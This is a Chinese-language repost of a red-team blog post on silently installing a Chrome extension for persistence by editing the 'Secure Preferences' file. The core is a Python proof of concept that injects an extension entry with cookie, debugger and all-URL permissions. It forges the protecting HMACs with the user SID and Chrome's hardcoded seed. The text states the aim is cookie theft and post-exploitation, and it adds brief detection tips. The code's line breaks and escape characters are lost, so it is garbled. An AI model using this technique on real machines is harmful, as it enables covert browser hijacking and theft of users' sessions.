静默安装 Chrome 扩展程序以实现持久性

admin 2024年7月18日14:29:21评论65 views字数 5943阅读19分48秒阅读模式

静默安装 Chrome 扩展程序以实现持久性

静默安装 Chrome 扩展程序以实现持久性

介绍

由于“浏览器是新的 lsass”,在过去的几周里,我一直对 Chrome 扩展程序的工作原理以及攻击者或像我这样的红队成员如何利用这些扩展程序进行持久性/窃取 cookie/等感兴趣。像cursed chrome这样的扩展程序对于后期利用非常有用。然而,最困难的部分是在没有直接 GUI 交互的情况下安装这些扩展程序。
我偶然发现了几篇文章,例如攻击者使用 powershell在命令行上使用–load-extension参数或使用远程调试。然而,由于命令行参数和 PPID,这些似乎很容易“检测到”。此外,这些在会话之间不是持久的。我仿佛听到我的前同事在说“一定有更好的办法!”
于是我开始深入研究 Chrome——我已经在 FLARE VM 中准备好了所有调试器。我已经准备好应对 Google 向我抛出的所有 AES 和 DPAPI!几个小时后,我意识到我所需要的只是 1 个文件中的 HMAC 算法的一些参数和 JSON 编辑。
除了我在编写 PoC 时偶然发现的一篇研究论文外,我还没有看到任何人写过关于此内容的文章。我当然没有看到任何“红队”博客将其武器化或类似的东西,所以我希望这对大多数人来说都是新鲜事。我无法想象有人还没有将其武器化,所以如果我烧毁了 TTP,我深表歉意。

方法论/演练

我最初的方法是检查与 Chrome 相关的 DLL,看看是否有任何与扩展相关的明显导出。此外,我想调试 Chrome,看看加载扩展时究竟发生了什么(是的,我知道 Chromium 是开源的,但这对我来说比阅读巨大的代码库更容易)。经过一些故障排除后,我考虑了一下,意识到识别 Chrome 加载扩展时发生的变化的最简单和最懒惰的方法就是简单的 ProcMon。所以我加载了 ProcMon 并启动了 Chrome,然后继续添加/删除扩展以查看哪些文件发生了变化。
我发现一个文件不断被触碰——%localappdata%GoogleChromeUser DataDefault 中的“安全偏好设置”。检查这是否真的是“关键”的最简单方法是加载扩展程序,复制文件,卸载并关闭 Chrome。然后我复制文件回来并替换旧文件。果然,当我加载 Chrome 时,出现了扩展程序!下一步是确定文件中添加了什么以及更改了什么,只有三个主要内容。
第一个变化是将 extensionId 添加到 Extensions:Settings JSON blob 中。此 JSON blob 包含有关扩展的信息,例如 API 权限、其加载位置、版本等。这很容易添加到任何安全首选项文件中。

静默安装 Chrome 扩展程序以实现持久性

第二个更改位于 Protection:Macs:Extensions:Settings JSON blob 下。这似乎是某种 SHA256 哈希。在这里我找到了上述研究论文,他们已经解决了这个问题。Chrome(我认为所有 Chromium 浏览器)使用用户 SID 和硬编码种子(是的,你没看错)对为扩展添加的 JSON 值进行 HMAC 哈希处理

静默安装 Chrome 扩展程序以实现持久性

第三个变化是文件末尾的 super_mac 值。这同样采用文件中 JSON blob 的 HMAC 哈希值以及 SID 和硬编码种子。

静默安装 Chrome 扩展程序以实现持久性

我认为后两个值应该是围绕这个 TTP 的“安全性”,虽然我知道这是一个在客户端软件上很难解决的问题,但出乎意料的是,它很容易克服。

POC

  • 我们将使用Crux,因为它易于使用和安装

  • Crux Extension 文件夹必须位于 C:UsersPublicDownloads

  • 您需要用户名和账户的 SID(对于 SID,请省略最后一部分,即 -1001)

  • 我在这篇文章/PoC 中遗漏了一些信息,所以你必须自己研究如何完全自动化/武器化它,但是下面的 PoC 可以在安装了 chrome 的个人 Windows 机器上运行

import hmac import json from collections import OrderedDictimport hashlib#https://github.com/Pica4x6/SecurePreferencesFiledef removeEmpty(d):    if type(d) == type(OrderedDict()):        t = OrderedDict(d)        for x, y in t.items():            if type(y) == (type(OrderedDict())):                if len(y) == 0:                    del d[x]                else:                    removeEmpty(y)                    if len(y) == 0:                        del d[x]            elif(type(y) == type({})):                if(len(y) == 0):                    del d[x]                else:                    removeEmpty(y)                    if len(y) == 0:                        del d[x]            elif (type(y) == type([])):                if (len(y) == 0):                    del d[x]                else:                    removeEmpty(y)                    if len(y) == 0:                        del d[x]            else:                if (not y) and (y not in [False, 0]):                    del d[x]    elif type(d) == type([]):        for x, y in enumerate(d):            if type(y) == type(OrderedDict()):                if len(y) == 0:                    del d[x]                else:                    removeEmpty(y)                    if len(y) == 0:                        del d[x]            elif (type(y) == type({})):                if (len(y) == 0):                    del d[x]                else:                    removeEmpty(y)                    if len(y) == 0:                        del d[x]            elif (type(y) == type([])):                if (len(y) == 0):                    del d[x]                else:                    removeEmpty(y)                    if len(y) == 0:                        del d[x]            else:                if (not y) and (y not in [False, 0]):                    del d[x]#https://github.com/Pica4x6/SecurePreferencesFiledef calculateHMAC(value_as_string, path, sid, seed):    if ((type(value_as_string) == type({})) or (type(value_as_string) == type(OrderedDict()))):        removeEmpty(value_as_string)    message = sid + path + json.dumps(value_as_string, separators=(',', ':'), ensure_ascii=False).replace('<', '\u003C').replace(        '\u2122', '™')    hash_obj = hmac.new(seed, message.encode("utf-8"), hashlib.sha256)    return hash_obj.hexdigest().upper()#https://github.com/Pica4x6/SecurePreferencesFiledef calc_supermac(json_file, sid, seed):    # Reads the file    json_data = open(json_file, encoding="utf-8")    data = json.load(json_data, object_pairs_hook=OrderedDict)    json_data.close()    temp = OrderedDict(sorted(data.items()))    data = temp    # Calculates and sets the super_mac    super_msg = sid + json.dumps(data['protection']['macs']).replace(" ", "")    hash_obj = hmac.new(seed, super_msg.encode("utf-8"), hashlib.sha256)    return hash_obj.hexdigest().upper()def add_extension(user, sid):    ###add json to file    extension_json=r'{"active_permissions":{"api":["activeTab","cookies","debugger","webNavigation","webRequest","scripting"],"explicit_host":["u003Call_urls>"],"manifest_permissions":[],"scriptable_host":[]},"commands":{},"content_settings":[],"creation_flags":38,"filtered_service_worker_events":{"webNavigation.onCompleted":[{}]},"first_install_time":"13364417633506288","from_webstore":false,"granted_permissions":{"api":["activeTab","cookies","debugger","webNavigation","webRequest","scripting"],"explicit_host":["u003Call_urls>"],"manifest_permissions":[],"scriptable_host":[]},"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13364417633506288","location":4,"newAllowFileAccess":true,"path":"C:\Users\Public\Downloads\extension","preferences":{},"regular_only_preferences":{},"service_worker_registration_info":{"version":"0.1.0"},"serviceworkerevents":["cookies.onChanged","webRequest.onBeforeRequest/s1"],"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}'     #convert to ordereddict for calc and addition    dict_extension=json.loads(extension_json, object_pairs_hook=OrderedDict)    filepath="C:\users\{}\appdata\local\Google\Chrome\User Data\Default\Secure Preferences".format(user)    with open(filepath, 'rb') as f:            data = f.read()    f.close()    data=json.loads(data,object_pairs_hook=OrderedDict)    data["extensions"]["settings"]["eljagiodakpnjbaceijefgmidmpmfimg"]=dict_extension    ###calculate hash for [protect][mac]    path="extensions.settings.eljagiodakpnjbaceijefgmidmpmfimg"    #hardcoded seed    seed=b'xe7Hxf36xd8^xa5xf9xdcxdf%xd8xf3Gxa6[Lxdffvx00xf0-xf6rJ*xf1x8a!-&xb7x88xa2Px86x91x0cxf3xa9x03x13ihqxf3xdcx05x8270xc9x1dxf8xba\Oxd9xc8x84xb5x05xa8'    macs = calculateHMAC(dict_extension, path, sid, seed)    #add macs to json file    data["protection"]["macs"]["extensions"]["settings"]["eljagiodakpnjbaceijefgmidmpmfimg"]=macs    newdata=json.dumps(data)    with open(filepath, 'w') as z:            z.write(newdata)    z.close()    ###recalculate and replace super_mac    supermac=calc_supermac(filepath,sid,seed)    data["protection"]["super_mac"]=supermac    newdata=json.dumps(data)    with open(filepath, 'w') as z:            z.write(newdata)    z.close()if __name__ == "__main__":    user=input("What is the local user? ")    sid=input("What is the SID of the account? ")    add_extension(user, sid)

注意:在编写 PoC 时,我意识到有人就此主题撰写了一篇研究论文:https://www.cse.chalmers.se/~andrei/cans20.pdf,但该论文尚未被广泛武器化(据我所知)。他们在github上提供了一些我利用的 HMAC 的 PoC 代码:https://github.com/Pica4x6/SecurePreferencesFile

注意事项

  • 我对一些内容进行了硬编码,并故意犯了一些“操作安全错误”

  • “安全首选项”并不总是在使用中,它可能是“首选项”文件;)

检测

  • 对“安全首选项”或“首选项”文件的编辑不是通过 Chrome 进程进行的(此想法归功于 waldo-IRC)

  • 识别异常的 Chrome 扩展文件位置

  • 低普及率扩展

Silently Install Chrome Extension For Persistencehttps://syntax-err0r.github.io/Silently_Install_Chrome_Extension.html

原文始发于微信公众号(Ots安全):静默安装 Chrome 扩展程序以实现持久性

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月18日14:29:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   静默安装 Chrome 扩展程序以实现持久性https://cn-sec.com/archives/2966566.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息